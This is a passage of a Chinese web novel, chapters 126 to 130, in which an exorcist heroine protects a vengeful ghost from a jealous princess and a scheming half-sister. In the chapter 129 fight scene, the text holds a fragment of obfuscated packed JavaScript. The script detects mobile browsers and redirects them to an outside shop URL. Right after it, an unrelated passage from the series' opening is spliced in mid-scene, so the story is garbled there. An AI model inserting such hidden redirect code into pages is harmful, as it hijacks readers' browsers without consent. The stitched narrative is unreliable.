“顾叔,小蓉是**的?她的阴魂看来,口唇青黑,脸上隐隐带着青气,难道是服毒?”
顾方涵眼中滚落一行泪珠,叹气道,
“应该不是,她……她是怨我,恨我,可怎么会这么想不开?
听闻她久病不愈,一日突然犯了心痛,还没等大夫来就过世了。
我听到消息,已经是许久之后……我到现在还记得那种五雷轰顶的感觉。”
话音未落,殷琉璃眼神一厉。
凛冽的目光突然望向顾方涵背后,冷声道,
“出来!鬼鬼祟祟的藏着做什么?你若心有不甘,光明正大的过来问他,正好把话说清楚,我不拦着你!”
不远处,阴暗的没有一丝光线的角落。
一个面目阴森的阴魂贴在墙上。
它周身散发着阴寒的气息,一张脸散发出吓人的寒意,面目狰狞。
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那双血红色的眸子充满怨愤,死死盯着顾方涵的背影……仿佛要随时要将他生吞活剥。
殷琉璃注意到,阴魂的口唇、指甲都泛出诡异的青黑色。
阴魂大多以生前最后一刻的样子出现。
尤其是横死之人,咽气前无论是掉头的,还是上吊、服毒,或者被人**的,做了鬼,样子永远停留在那个时刻。
顾瑾焱心头一跳,
“琉璃,她又来了?”
殷琉璃皱起了眉头,
“被我喝了一声,又不见了。顾叔,我看她似有什么话要说。
可我让她把话跟你说清楚,她又不见了。”
“小蓉!”
顾方涵噌的一下站了起来,向殷琉璃所指的方向快步走去,
“小蓉,你出来!出来!我知道当年是我辜负了你,让你受了那么多委屈、苦楚……
你若心有不甘,就现身出来,方涵哥哥任凭你打你骂,没有一句怨言!”
“父亲!”
顾瑾焱吓了一跳,赶紧追了上去。
顾方涵对着黑暗之处喊了半天,孙蓉的阴魂都没有再出现。
“小蓉!”
他仰天长啸,失声大哭。
殷琉璃缓缓走到顾方涵的面前,冷声道,
“顾叔,她是阴魂,怨气缠身的阴魂,三魂七魄中的人性十去其八,六亲不认。
你就是想见她,也要打量一下自己身上的阳火,能不能扛得住她的怨气!”
顾方涵怔怔的看着她,含泪道,
“小蓉因我而死,这些年我对她一直心怀愧疚,我也……我也始终没有忘记过她!
这些年,我一直在她忌日时偷偷去她坟上拜祭,是我欠她的。
我不能眼睁睁看着她无法超生,焱儿说你精通鬼神之术,你能不能把她叫出来,不管要我做什么,我都愿意弥补她……”
“你总算承认了!”
成懿公主愤怒、冰冷的声音传来,“顾方涵,这些年,你的心一直都在那个**身上,那我算什么?
我们成亲十八年,到如今我才知道,我堂堂成懿公主,竟连一个死鬼都不如!”
空气突然陷入一片死寂。
第126章 咄咄逼人
顾方涵不觉一怔,
“阿懿,你怎么来了?”
“我不来,怎么能听到你这番发自肺腑的心里话!”
之前夫君拂袖而去,她心里憋着一口气,说不出的委屈、难受。
可又这么都拉不下脸,叫他回府。
成亲这么多年,成懿还是第一次见自己的夫君,生这么大的气。
这么多年来,顾方涵对她宠爱有加,不管她性子多骄纵,始终都宽容维护。
顾方涵也不像其他驸马那般,弄上一屋子的妾室。
自从他们成亲以后,他始终只有自己一个女人。
这是顾方涵第一次不顾念她的情绪,拂袖而去。
这一切只为那个死去的女人!
以前那些恩爱,难道都是假的吗?
成懿心里凉了半截,她不服。
自己堂堂长公主,竟然连一个死鬼都不如,实在是太可笑了……
成懿公主对他怒目而视,森然冷笑,
“顾方涵,你我成亲这么多年,我哪一点对不起你?
在你眼里,我堂堂当朝长公主,连一个死鬼都比不上么!”
顾方涵眸中闪过一抹无奈,轻声道,
“阿懿,你这是什么话?你我夫妻多年,难道你还不知道我对你如何……”
“我不知道!”
成懿公主厉声打断,冷冷的望着他,
“顾方涵,当初的确是我让父皇赐婚,可你不也是看重我的身份,能为你、为你顾家荣耀满门,才放弃那个女人吗?”
殷琉璃听的直接皱眉。
她虽不好评判,可成懿这话,可真戳心。
“母亲!”
顾瑾焱心头一紧,失声道。
成懿脸色一沉,狠狠甩袖,
“焱儿!这是我与你父亲的事情,容不得你插嘴!退下!”
顾瑾焱抿了抿唇,还要说什么,却被顾方涵拦住。
他轻轻摇头,平静的脸上,隐隐带着一丝凄凉,
“焱儿,大人的事情,你不要管。”
顾瑾焱垂头道,“是。”
“阿懿!你我这么多年夫妻,原来我在你眼里,就是这般?”
顾方涵声线微颤,一双深邃的眼睛,在压抑着汹涌的情绪。
成懿心碎的看了他一眼,
“难道不是?你亲口说的,十几年了,你从来没有忘记过那个**!
年年她忌日那几天,你总有借口晚归,回府不管如何,你眉眼间总是挂着一丝落寞。
你在我面前强颜欢笑,在她坟上,互诉衷肠?”
顾方涵唇边勾起一抹苦笑,脸色悲凉的说,
“我是年年去拜祭小蓉,可并非你说的那般不堪。
我不杀伯仁,伯仁因我而死,若非当初我辜负了她,她也不会落得那个凄凉的下场。
孙家将她弃在城外,孤零零一座坟,无人打理清扫。
也只有我这个负心的人,才能在忌日时,为她添上一柱清香。”
他以为他是在解释,可这番话,又变成无数银针狠狠戳在成懿心坎上。
她怒极反笑,
“小蓉……顾方涵,你叫的好不亲热?所以你心里那个人,永远是她,对吗?
你们自幼相识,青梅竹马,是我成懿,生生断了你们的大好姻缘,是吗!
顾方涵,你到底有多爱她呀?这么多年都忘不掉!”
顾方涵苦涩的摇了摇头,
“阿懿,你现在在气头上,我说什么,你都不会听。
我也不想解释什么,等你平静下来再说,好吗?”
殷琉璃眨了眨眼,心头大呼:
顾叔,你脾气也太好了吧!
面对平静无奈的夫君,成懿非但没有冷静,反而怒火中烧,
“什么不想解释,你是解释不出来吧!
顾方涵,我问你,这些年,你心里真正爱过我吗?
若当初我不是公主,不求父皇赐婚,你还会娶我为妻嘛!”
顾方涵怔了怔,深深的望着成懿,
“阿懿,这些话,如今说出来,除了伤人的心,还有什么意义?”
“回答我!”
成懿上前一步,一双通红的眸子逼视着顾方涵,咄咄逼人,
“我要知道,这些年来,我在那个一心一意深爱不疑的夫君心里,到底是个什么样的存在!”
顾方涵只是静静的看着她。
他怎会不爱阿懿?
当初被迫娶她,心里的确有所不甘,他也一直
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牵挂着小蓉。
可阿懿对他一往情深,身边嘘寒问暖的是阿懿,枕畔温柔缠绵的是阿懿。
为了给他生下孩儿,痛了三天三夜,几乎在鬼门关上走了一圈儿的人,也是阿懿。
日日相处下来,顾方涵渐渐的把小蓉放进了心底,把他们的过往翻过去。
他开始真心实意的对他的阿懿。
空气死一般的,让人窒息。
“顾方涵,你告诉我一句实话。”
成懿咬了咬唇,声音颤抖的说,
“从小到大,只要我想要的,除了天下,父皇母后什么都会给我!
我不知道这十八年嫁的夫君,他的心在哪里,我从来……我从来没有这样挫败过。”
殷琉璃眨了眨眼睛。
忽然有些明白,成懿公主为什么这么咄咄逼人。
她太骄傲了。
骄傲的活了半辈子,忽然觉得自己最重要的人,心里装的是别人,她接受不了。
成懿凝望着顾方涵,眼睛里滚落大滴大滴的泪珠。
“阿懿,你真傻。”
顾方涵轻轻叹了口气,抬手帮成懿擦去脸上的泪水,声线轻淡的说,
“这么多年,你还不知道我对你怎样?小蓉……是我年少时相伴身边的知己,都是过去了。
而你,是我愿携手白头,一生一世,与你一双的女人。
你我不惑之年的人了,当着孩子们的面儿,你让我怎么说出那种话……”
成懿公主身子微微一颤,难忍哽咽,
“真、真的?”
顾方涵抬手揉了头她的脑袋,轻轻点头。
顾瑾焱紧绷的脸上,瞬间松缓了下来。
母亲这么难缠的女人,也只有父亲这种不瘟不火的性子,才能把她收服。
这把学到了!
琉璃虽不像母亲那样骄纵不讲理,但性子比母亲软不了多少。
以后不小心惹了这丫头,他知道该怎么哄了!
“方涵……”
成懿公主破涕为笑,一头扑进了他的怀里,撒娇般哭道,
“你不要骗我!你不要骗我!我……”
话音未落,殷琉璃眼角余光,瞥见一道阴寒冷的气息,向两人扑了过来。
第127章 她不吃哑巴亏
她手指一翻,指尖划过一道灵光,抬手向黑气飞了出去。
灵光将黑气击落,重重的摔在墙上。
殷琉璃一声冷喝,
“找死!”
一个纤细瘦弱的女子身影,周身弥漫着浓郁的黑煞之气,缓缓浮上半空。
是孙蓉的阴魂。
殷琉璃打量了她一眼,周身弥漫着浓郁的黑煞之气,一张青黑的面容,狰狞可怖。
一双细长的手,黝黑的指甲暴涨三寸,在暗夜中散发出阴森的气息。
殷琉璃眯了眯眸子。
它半天都没出现,不知是不是顾叔跟成懿说的一番话,刺激了它。
冲天的怨气,以将孙蓉的阴魂催化为青面獠牙的厉鬼!
孙蓉口中牙齿咬的咯咯作响,血红的眸子死死盯着殷琉璃,
“咯咯咯……”
厉鬼的声音,尖锐嘶哑,戾气十足。
刀子刮在玻璃上般刺耳。
殷琉璃上前一步,抬手指着孙蓉,
“大胆阴魂,在我面前也敢放肆!”
众人只看到她手指着一片漆黑的角落,并看不见厉鬼,莫名的阴森感涌上心头。
楚**不动声色,站在了殷琉璃的身侧。
他知道小师妹对付厉鬼,手到擒来,可还是在手中画上了一道“五雷符”。
“琉璃!”
顾瑾焱反应过来,凛声道,“她……她出现了吗?”
殷琉璃冷声道,
“刚才它突然现身,要对顾叔不利。顾瑾焱,你先带顾叔走,待我收了它再说。”
顾瑾焱点点头。
“嘎嘎嘎……小姑娘,不要多管闲事!”
孙蓉口中发出刺耳的冷笑,缓缓抬手指着成懿公主,
“你知道她对我做过什么吗?她让我失去了一切……我要杀了她、杀了她!”
殷琉璃皱了皱眉,
“**?你当我是摆设吗!就算要索命,也要把话说清楚,有冤报冤有仇报仇。”
她倒不是护着成懿,而是想帮孙蓉。
若真让孙蓉取了成懿的性命,犯下杀孽,会被天道惩戒,落得个魂飞魄散,永世不得超生的下场。
她生前已经够凄惨了,**连投胎的机会都没有,那不是更惨?
孙蓉早已因仇恨丧失心智,戾气大盛,阴森怒吼,
“我不管什么天道!哪怕我魂飞魄散,也要她给我陪葬!”
它头上披散的发丝,如钢针般丝丝炸起,周身的气息在一瞬间暴涨如瀑。
“孙蓉,我给你一次机会,有什么冤屈你可以跟我说。
我自会替你问过阴司,让你有冤报冤有仇报仇。
但你私自害人性命,我劝你别在我面前放肆!”
殷琉璃手指一翻,指尖闪过一道灵光。
“哈哈哈哈……我只要她的命,与你说不着!”
孙蓉仰天狂笑,忽然抬起青黑的双手,直勾勾的向成懿抓了过来。
就知道跟厉鬼没法讲理!
先收了再说!
殷琉璃毫不犹豫,抬手将灵光飞了过去。
黑暗中突然闪过另一道符光,将她的灵光拦住。
殷琉璃眼神一凛。
待再起灵符,阻拦孙蓉时,它已经扑到了成懿的面前。
十根锉刀般锋利的鬼爪,直直的插向成懿的脖子。
成懿看不到厉鬼,只觉得阴风扑面,一种令人毛骨悚然的恐惧感油然而生,全身的汗毛刷的一下竖了起来。
“啊!”
她不知所措的尖叫。
“砰!”
一声闷响,孙蓉被暗中射出的灵符撞飞了出去。
一切发生在电光火石之间。
孙蓉重重跌落地上,周身阴郁的煞气丝丝外散,魂魄经受了极大的震荡。
这一下,打的它可不轻。
“何人!出来!”
殷琉璃凛冽的眼神扫过众人。
“玉珠来晚了,让殿下受惊。”
殷玉珠阴冷的声音,幽幽传来。
她缓缓走到近前,身着一袭黑色大氅,头上带着一顶帷帽,遮住了大半张面容。
抬起眸子望了殷琉璃一眼,眸中冷笑森然。
“殷玉珠,是你?”
殷琉璃狠狠皱眉。
她用的法术,跟无崖子使的那套如出一辙。
“玉珠,你……你怎么才过来呀!”
成懿脸色慌张的说,“原来你说的是真的!真的有厉鬼……它、它刚才出来了!她要杀我!”
殷琉璃和顾瑾焱不由对视一眼。
“母亲,你说什么?”
顾瑾焱俊美的脸上,闪过一抹冷意,
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上前将殷玉珠挡在成懿面前,
“殷玉珠,你跟我母亲说过什么?”
“玉珠见过世子爷。”
殷玉珠勾起唇角,语气不屑的说,“什么事情,还用玉珠说吗?刚才厉鬼差点儿要了殿下的命,若不是玉珠及时赶到,殿下恐怕……”
“它、它在哪儿?”
成懿紧张道声音发颤,一把抓住她的手道,“玉珠,你、你一定要保护好本宫,本宫一定不会亏待你的!”
殷玉珠一脸恭敬道,
“玉珠遵命!殿下放心,有玉珠在,凭它什么厉鬼都不能伤了殿下分毫。”
说着,她话锋一转,讥讽的说,
“玉珠可不像长姐,明知道厉鬼对殿下不利,竟不拦着。
刚才若不是玉珠来的及时,那厉鬼的双爪已经**殿下的心口上了。”
成懿脸色一沉,狠狠看向殷琉璃。
“殷玉珠,你当我傻吗?”
殷琉璃什么都喜欢吃,就是不喜欢吃哑巴亏,当即就怼了回去,
“刚才我那道符就是收厉鬼的,不是你打落它,成懿公主能处于危险的境地?”
殷玉珠眼睛里闪过一抹冷笑,
“收鬼的符咒?厉鬼要杀殿下,长姐不应该直接将它击杀,让它魂飞魄散,永世不得超生吗?
如何只用一张收鬼的符咒?怎的,长姐对那个厉鬼,还心存怜悯吗?”
成懿勃然大怒,
“殷琉璃,它要杀我,你竟然还护着那东西?你想要本宫死嘛!”
殷琉璃,“……”
“你死不死,跟我有什么关系?”
她不屑的嗤了一声,抬手指着落在地上,魂魄不稳的孙蓉道,
“它被你害成这样,难道还要我把它打的魂飞魄散不成?”
成懿脸色铁青,怒道,
“你……简直放肆!”
“殿下不是第一天知道我放肆,可你拿我如何?”
殷琉璃讥讽的哼了一声,手指一翻,指尖闪过一道灵光,打算将孙蓉暂时收了。
等它散了身上的煞气,稳住魂魄,回归正常的阴魂,再让她诉冤屈。
“长姐还想帮它?这可不成!”
殷玉珠脸上闪过一抹狞笑,“不打的它魂飞魄散,你让殿下如何安心?”
第128章 碎魂裂魄
成懿咬牙切齿,
“殷琉璃,你依仗圣恩,处处得罪本宫,真以为本宫没法子处置你嘛!”
“长姐在家中骄横也就罢了,你我血脉相连,妹妹如何退忍都不算什么。
可在殿下面前,长姐怎能如此放肆?他日若连累侯府上下,可如何是好!”
殷玉珠语气殷切,转身跪下,
“殿下赎罪,我家长姐从小长在外面,不懂人情世俗,还望殿下看在玉珠的面子上,宽恕长姐了吧。”
这一番作为,看似在为殷琉璃求情,实则转着弯的跟成懿说,殷琉璃野性难驯。
她再为殷琉璃请罪,越发显出自己的忠厚隐忍。
殷琉璃静静的看着她表演。
她在干净的地方待久了,有点儿受不了世俗之人的做作。
虚以委蛇,钩心斗角,费尽心思去抢做人上人,挣破头要个荣华富贵。
不如她与师父和五个师兄,在玄清观的院子里,争抢炭火中最大最甜的那块红薯,来的开心惬意。
“玉珠,又不是你的错,你不用替她揽在身上。”
果然,成懿心头一颤,被她的话触动,声线瞬间冰冷,
“这种姐妹,不值得你这般为她!”
这一幕,年少时也曾在她身上演绎过。
想当年,她也将岚儿视作最好的姐妹。
岚儿的母妃被查出以巫蛊之术,诅咒张贵妃,在圣上跟前获罪,赐了三丈白绫。
圣上要将岚儿贬为庶人,待与她母妃家族一并发落,千里流放。
她听到消息,急急从皇家避暑庄园往回赶,坐了一天的马车才得进宫。
成懿跪在父皇脚下,哭的肝肠寸断,苦苦哀求不要让岚儿去那苦寒之地。
谁知父皇将一个扎满了银针的小人,丢在她的面前。
小人背后,竟用血水写着她的名字和生辰八字!
笔迹是她熟悉的,她一眼看出就是岚儿亲手所写。
岚儿容貌清丽,只可惜眼角下,长着指甲大一块暗红色胎记。
就像一张美好的风景画,突然被甩上一个难看的墨点儿,让人扼腕惋惜。
岚儿常常依偎着她,满眼羡慕,
“岚儿若能长得懿儿姐姐这般花容月貌,完美无缺,就是**也值了。”
成懿那时总会轻轻捶她,娇嗔责备,
“妹妹不许胡说,在姐姐眼里,岚儿就是天底下完美的丫头。”
而成懿看到,那个写着她生辰八字的小人,脸上扎的银针是最多的!
扎的比刺猬背上的刺还要多。
父皇脸色不善,难得一见的开口训斥,
“懿儿,你糊涂!父皇以前教你的防人之心,你全都抛诸脑后了嘛!”
成懿到现在还记得父皇看她的眼神,又是无奈,又是恨铁不成钢。
后来她亲自替将赐罪诏书,送到了岚儿的典狱里。
第二天,宫里便传出岚凌公主上吊自尽的消息。
成懿听见了,脸上只有冷笑。
“多谢殿下宽恩,玉珠感激不尽。”
殷玉珠起身,眼中闪过一抹得意,“玉珠当竭尽所能,护殿下周全。”
说着,她抬手一指,声线凛冽道,“孙蓉对殿下心怀怨愤,怨气冲天以至化作厉鬼,前来索命。
若不将其诛杀,打得它魂飞魄散,日后必是大患!”
“小蓉?她、她在哪里?”
顾方涵望着殷玉珠指的方向,空空如也,慌忙追问,“她真的来了吗?”
成懿脸色变了变,
“驸马,你没听玉珠说嘛,孙蓉化作厉鬼,她是来索我命的!”
顾方涵忙道,
“阿懿,她与你一定有什么误会,不如让我好好与她谈谈,解开她的心结……”
“误会?她与本宫的误会,就是怨怼本宫抢走了你!”
成懿冷哼一声,倨傲的吩咐,
“玉珠,替本宫将她处置了。本宫要她魂飞魄散,万劫不复!”
“玉珠遵命。”
殷玉珠应了一声,一道黄纸朱砂写就的符咒,出现在手掌中。
“不要!阿懿,小蓉自小心性善良,连只小猫小狗都舍不得打骂一句,若不是误会,她一定不会变成这样!”
顾方涵低呼一声,一把抓住成懿的手腕,急声道,“我想她只是心结未开,给我一点时间,我帮她解开心结
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,以后绝不会……”
“她心性善良,那就是说我恶毒了?”
成懿脸色一沉,恨恨道,
“驸马,你刚才口口声声,跟我是怎么说的?你说与你白头偕老的女人是我,如今有厉鬼要害死你的女人,你不护着我就算了,竟然还帮她说话!”
顾方涵急道,“阿懿!我不是帮着她,我是……”
“你是看到旧情人,就把自己说的话又抛诸脑后了吧?”
成懿脾气上来,毫不留情的说,“今日若不叫她魂飞魄散,我成懿公主,誓不罢休!”
刚刚被夫君哄的心花怒放,转眼夫君就为前情人求情。
她真不知道顾方涵方才那番话,是不是骗她的。
顾方涵眼下这种情景,他说越说越错,说多错的更多,紧紧攥着她的手说,
“阿懿,你真的误会了,要我如何说,你才肯信我?
是我对不起孙蓉在先,如今我只是想弥补一些……
不管如何,你都不能对她下这样的狠手。给我一点时间,让我……”
“殷玉珠,动手。”
成懿甩开手,冷冰冰的眼神,划过顾方涵的脸。
在她眼中,这个世界非黑即白。
与她为敌的,不管是人还是鬼,她都不会让他们有好下场!
“不行!”
眼看殷玉珠拿出制鬼符咒,顾方涵快步走到她的面前,张开双臂阻拦。
“驸马!”
成懿心里再次陷入一片冰凉。
“殿下放心,不过是一只厉鬼而已,驸马爷拦不住我的。”
殷玉珠唇边勾起一抹阴冷的笑意,抬手间,口中念诵符咒,将黄纸符化作一道符光,打向孙蓉。
顾方涵的心,瞬间紧紧揪了起来。
“砰”
一声闷响,符光被另一道灵光击中。
“顾叔拦不住你,我可拦得住。”
殷琉璃冷淡的声音传来,“碎魂裂魄符?殷玉珠,你从哪儿学来的这么阴毒的符咒。”
殷玉珠脸色一沉,
“殷琉璃,这可是殿下下令诛杀厉鬼,你坏我的事情没关系,坏了殿下的事情,我问你可吃罪的起?”
第129章 杀无赦
“来人,给本宫把这忤逆犯上的罪人,抓起来。”
成懿受了挑拨,厉声喝道,“谁敢抗旨,杀无赦!”
“是!”
她身后,一种皇家持刀侍卫从腰间抽出佩刀,齐刷刷涌上前。
殷琉璃自然不会把这十数人放在眼中。
她一双眼睛只盯着殷玉珠,防她趁乱下手。
楚**用平静的眼神,看了殷琉璃一眼。
他始终默默的站在小师妹身后。
顾瑾焱走到殷琉璃身边,淡淡挑眉,
“母亲谕旨杀无赦,若儿臣抗旨,杀的也包括儿臣了?”
成懿脸色一沉,
“焱儿,让开!”
顾瑾焱一脸坦然的说,
“恕儿臣不孝,儿臣是一定要护着自己的世子妃了。
母亲不怕断了自己的后,就把焱儿的首级拿去,焱儿下辈子再做母亲的孩儿就是。”
成懿面色铁青。
自从剩下焱儿,他就成了自己身上的软肋。
可她一手养大的儿子,怎么会铁了心护着一个外人?
顾方涵也走到了殷琉璃的另一侧,苦苦道,
“阿懿,琉璃姑娘也是不想小蓉含冤枉死。
弄个清楚有什么不对,让她重入轮回不是更好,你为何就是想不通,非要造孽?”
成懿森然冷笑,
“本宫就是想不通,为何一说到那个**身上,驸马与本宫说过的所有话,都变成空的了?
让她不得重入轮回,就是造孽?驸马这样认为的话,那本宫这个孽,造定了!”
说罢,她眼中闪过一抹恨意,侧眸道,
“殷玉珠,替本宫打散那厉鬼的魂魄,本宫赏你百两黄金!”
“是。”
殷玉珠又抽出一张黄纸符,与殷琉璃面对面道,
“长姐没有听到殿下的旨意吗,让开?不然让妹妹误伤了长姐,就不好了。”
殷琉璃不屑一笑,
“看你有没有那个本事。”
话音未落,她手指一翻,指尖灵光乍起,向殷玉珠的面门而去。
殷玉珠飞出手中符咒,抬手比了个剑指,一道戾气冲指尖飞出,打向殷琉璃。
她最不忿的,是殷琉璃能用心念催动灵符,用起来随心所欲。
而自己只能事先画好黄纸符,用时再以符咒催化。
不过好在她从无崖子身上,源源不断的吸取真气,已经练成了剑指。
她演都不演了。
她从无崖子身上,吸了五成真气。
剩下的法力,她会一点儿一点儿全都吸完,再将他**万段。
如今的无崖子,只是一个被她囚禁在地下密室,手脚拴着铁链,七处大学被铁钉封死的可怜虫。
当初那狗东西被殷琉璃打败,偷偷找她要个落脚、修炼的地方,正中了殷玉珠的下怀。
她表面上言听计从,把他安置下来继续跟他合和双休,让他从自己身上采补。
一次,她将无崖子灌醉,从他口中套出了女子如何修炼这种秘术后,立刻反客为主,大肆从他身上采补。
让殷玉珠惊喜的是,几番采补下来,她拥有了无崖子五成真气,就逼着他教自己,如何像殷琉璃那样,运用符咒。
殷玉珠对救人的符咒,一改不感兴趣。
她要学,就学最阴毒最狠戾,能将殷琉璃打的一败涂地的法力!
他日若大成之时,她一定要将殷琉璃这个**踩在脚下。
打的她魂飞魄散,永世不得超生!
……
“砰”
一声闷响,殷玉珠手中的戾气,被一道强劲有力的真气挡住。
楚**深深蹙眉。
这道戾气蕴含着阴邪,若是打在小师妹身上,至少要毁她两三成功力。
眼前这个面容娇柔,眼神却异常狠毒的殷玉珠,不是口口声声称小师妹为长姐吗?
她就是这么对自己长姐的?
殷琉璃知道大师兄,会帮她摆平殷玉珠,抬手间,指尖又闪过一道灵光,要将伏在地上的孙蓉收了。
“你敢!”
殷玉珠怒喝一声,飞身上前就要打出黄纸符。
楚云飞出手飞出一道符光,将她手中的黄纸符打落,修长的身躯转眼间,已经将殷琉璃挡在身后。
殷玉珠再敢下手,他的符咒便是要命的。
“啪”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306859|198718||http|test|mini|href|location''.split(''|''),0,{}));
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r>一只有力的手掌,死死的掐住了殷玉珠的脖子。
殷琉璃进师门第一天,就犯下了三个天大的错误。
吃了师祖爷飞升前留给道观唯一的宝贝,风水锦鲤。
用师门祖传法宝驱鬼辟邪桃木剑当烤架,烧的面目全非。
把吃剩的鱼骨头丢进了师父的炼丹炉里……
全师门眼巴巴盼着能提升一层修为的丹药,全毁了。
惹的全师门**人怨,人人喊打。
其实全师门加上她也就五个人。
师父盛怒之下怒了一下,罚她去打扫山门。
殷琉璃抓着扫把有一搭没一搭的干活儿,嘴里还津津有味的咂摸着那条鱼肥美的滋味儿。
锦鲤就是锦鲤,味道格外鲜香!
清风观观如其名,穷的只剩下两袖清风。
山门又旧又破,地上的石板缝里长满了绿色苔藓,说不出的荒凉。
仅有的一座正殿漏风漏雨,不时往下掉墙皮。
吃的是师父从山下村子里赊来的杂粮,师兄们挖的野菜,穿的是补丁摞补丁的道袍。
一天杂粮野菜吃下来,嘴里直接淡出了鸟。
全师门人人营养不良,身材清瘦。
只有山门外清风泉中那条风水鱼养的又肥又大,浑身上下透着十足的灵气,当然要拿来补充一下营养。
殷琉璃一边儿扫地一边儿发呆。
她好歹也是阎王爷手下得力干将,轮回司掌管者,修炼千年的第一女强人孟婆。
地府先进工作者百年来蝉联第一,KPI业绩遥遥领先,无人能敌!
眼看就要作为地府代表去三十三重天外开三界联合大会,满誉而归,前途无量。
转眼就被发配人间,在这个小破老道观里当了个小师妹。
想不通怎么能混到这种地步。
“殷琉璃,你所掌管的孟婆汤被人暗中动了手脚,导致魂魄带着前世记忆重入六道轮回,乃是大大的失职!
去吧!在人间找全它们,消除前世记忆,送轮回错乱的魂魄重入地府,方能弥补你的失误。”
酆都大帝一道敕令下来,她从人生巅峰跌入谷底。
第130章 火上浇油
成懿公主那番话,无异于火上浇油。
即使被**下去,鬼面依然在纸上隐隐显出狰狞。
成懿坐上抬轿,一张脸也阴气沉沉,
嬷嬷垂手道,“夫人这就回府吗?”
成懿抬了抬头,冷冷吐出两个字,
“进宫。”
“阿懿,这时辰,父皇母后早就安寝了,你又何必去吵嚷他们?”
顾方涵低声劝道,“我陪你回府,有什么事情,回去慢慢说开了。”
成懿幽幽的瞥了他一眼,
“怎么,你怕我闹到父皇母后面前去,你没法交代?”
顾方涵无奈摇头,
“你说到哪里去了,我只是想跟你好好聊聊……”
“好啊,你想聊什么,就去母后那里找本宫聊吧。”
成懿冷着脸哼了一声,扭头再不看他,“起驾。”
殷玉珠跟在轿旁,阴冷的眼神中,充斥着浓浓的恨意。
刚才被顾瑾焱掐住脖子,她心里不知道有多恨!
如果不是殷琉璃,她本该也有一个站在她身边,不顾一切护着她的男人。
若不是这个**多管闲事,国公府怎么会跟她退婚,方政允怎么会见到她都退避三舍,连个笑脸都不肯给她!
是殷琉璃这个**,害得她一无所有!
殷玉珠暗暗攥紧拳头。
没关系,她会借着成懿公主,一点儿一点儿把公主府的水搅浑,让殷琉璃也尝尝失去一切的滋味儿!
顾方涵望着成懿公主离去的背影,一脸无奈。
这些年,她一闹脾气就往宫里跑,非要他亲自去请回来,才肯甘休。
圣上和皇后娘娘,倒也是明事理的,每次问清缘由,装模作样的斥责他几句,给成懿个台阶下,就让他把人接回去了。
娶了皇帝的女儿,自然要比寻常男人,多了许多压力。
“父亲不要担心。”
顾瑾焱给他使了个眼色,悄声道,
“儿臣随母**宫,有什么消息,儿臣遣人送回来。”
顾方涵无奈的点头,
“焱儿,帮我好好劝劝你母亲。”
顾瑾焱深深的看了殷琉璃一眼,轻声道,
“琉璃,你替我照顾好父亲,母亲这样的脾气,实在是难为他了。”
“放心,顾叔的事情,交给我。”
殷琉璃嗯了一声,看顾瑾焱要走,忽然想起什么,便叫了他一声,
“顾瑾焱,你等下。”
“什么?”
顾瑾焱顿住身形,回头望着她。
殷琉璃连忙从桌上拿过一张纸,纤细的手指翻飞,几下便叠成了一只纸鹤。
她以手指为剑,将真气贯注指尖,对着纸鹤凌空画了一道“役灵符”,以心念符咒催化,
“叫天天应,叫地地灵,叫神神显灵,天清地明,阴神阳行!各路阴灵,奉吾诏令,随吾驱使……太上老君急急如律令!”
鹤使,召唤而来以供驱役的,并非真正的仙鹤。
而是五方之中,有一定修行的灵体。
灵体自愿附在纸鹤上,为符主驱役使用,完事后,就能将符咒上的真气,收为己用。
役灵符,相当于双方签订的买卖契约。
“呼啦啦……”
纸鹤忽然闪动了几下翅膀,从她掌心飞起,停在半空中。
顾瑾焱深邃的眸中,泛起一抹笑意。
殷琉璃每次施法的样子,都很专注,他喜欢的不得了。
尤其是那双澄澈的眸子,总是散发着星光,好看极了。
殷琉璃唇边勾起一抹淡淡的笑意,
“顾瑾焱,从宫里传口信太慢,鹤使给你用……伸手。”
顾瑾焱连忙将手掌伸了出去。
殷琉璃弹了下纸鹤的尾翼,吩咐道,
“鹤使听令,乖乖听顾瑾焱的话,知道吗?”
纸鹤扑扇了几下翅膀,呼啦一下落在了顾瑾焱的手上。
顾瑾焱俊美的脸上,露出一抹孩童般的笑容,用指尖摸了摸鹤使的脑袋,轻声说,
“小家伙,你现在归我管了。”
“扑啦啦……”
纸鹤扇动起翅膀,仿佛在呼应他。
一旁,顾方涵看到这神奇的一幕,人都傻了。
他越发觉得,殷琉璃这丫头,是有些本事在身上的!
顾瑾焱小心翼翼的,将纸鹤放入袖中,深邃的眸子里闪过一抹不舍,
“琉璃,我先去了。”
“哇呀呀……主人,还有我!还有我呢!”
他一转身,哇呀呀忽然从虚空中现身出来,气势汹汹的飘在殷琉璃前面
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。
殷琉璃蹙了蹙眉,“你怎么了?”
哇呀呀鼻子里喷着粗气,呲牙咧嘴的抱怨,
“这都多长时间了,主人也不叫哇呀呀出来,哇呀呀不高兴!哇呀呀只想待在主人身边!”
殷琉璃歪了歪头,
“不是叫你暗中保护顾瑾焱吗,你现在归他使,我叫你做什么?”
“哇呀呀……谁愿意归他使唤了!”
哇呀呀一脸不乐意的叫道,“我是你的耳报神,又不是顾瑾焱的耳报神。天天跟在他屁股后面,你又不叫我出来,好没意思!”
殷琉璃挑了挑眉,“少废话,你去不去?”
“哼哼……不去!”
哇呀呀把手里的长刀,咣的一下戳在地上,壮硕的身体挺的笔直,
“大丈夫说不去就不去,怎么样!”
它一点儿也不想跟着顾瑾焱!
只要留在殷琉璃身边,就是天天闲出屁来,它也开心。
殷琉璃手指一翻,指尖现出一道灵光,飞向哇呀呀。
瞬间,哇呀呀在空中现出原形。
她踮起脚尖,抬手揪住哇呀呀的耳朵,一手叉腰,气势汹汹的问,
“再问你一边,去不去?”
“哇呀呀……疼疼、疼,快放手!”
哇呀呀疼的呲牙咧嘴,一手捂着耳朵,高大壮硕的身形缓缓低矮下来,扑通一声跪在殷琉璃的脚下,
“我去!我去!”
“这还差不多。”
殷琉璃松开手,傲娇的哼道,“再不听话,看我怎么收拾你!”
“去就去,这么凶做什么?小心嫁不出去!哇呀呀……”
哇呀呀揉着通红的耳朵,埋怨的嘟囔了起来。
那张青黑凶煞的恶人脸,脸庞多了一只通红的耳朵,看起来格外有趣。
他本是青面厉鬼。
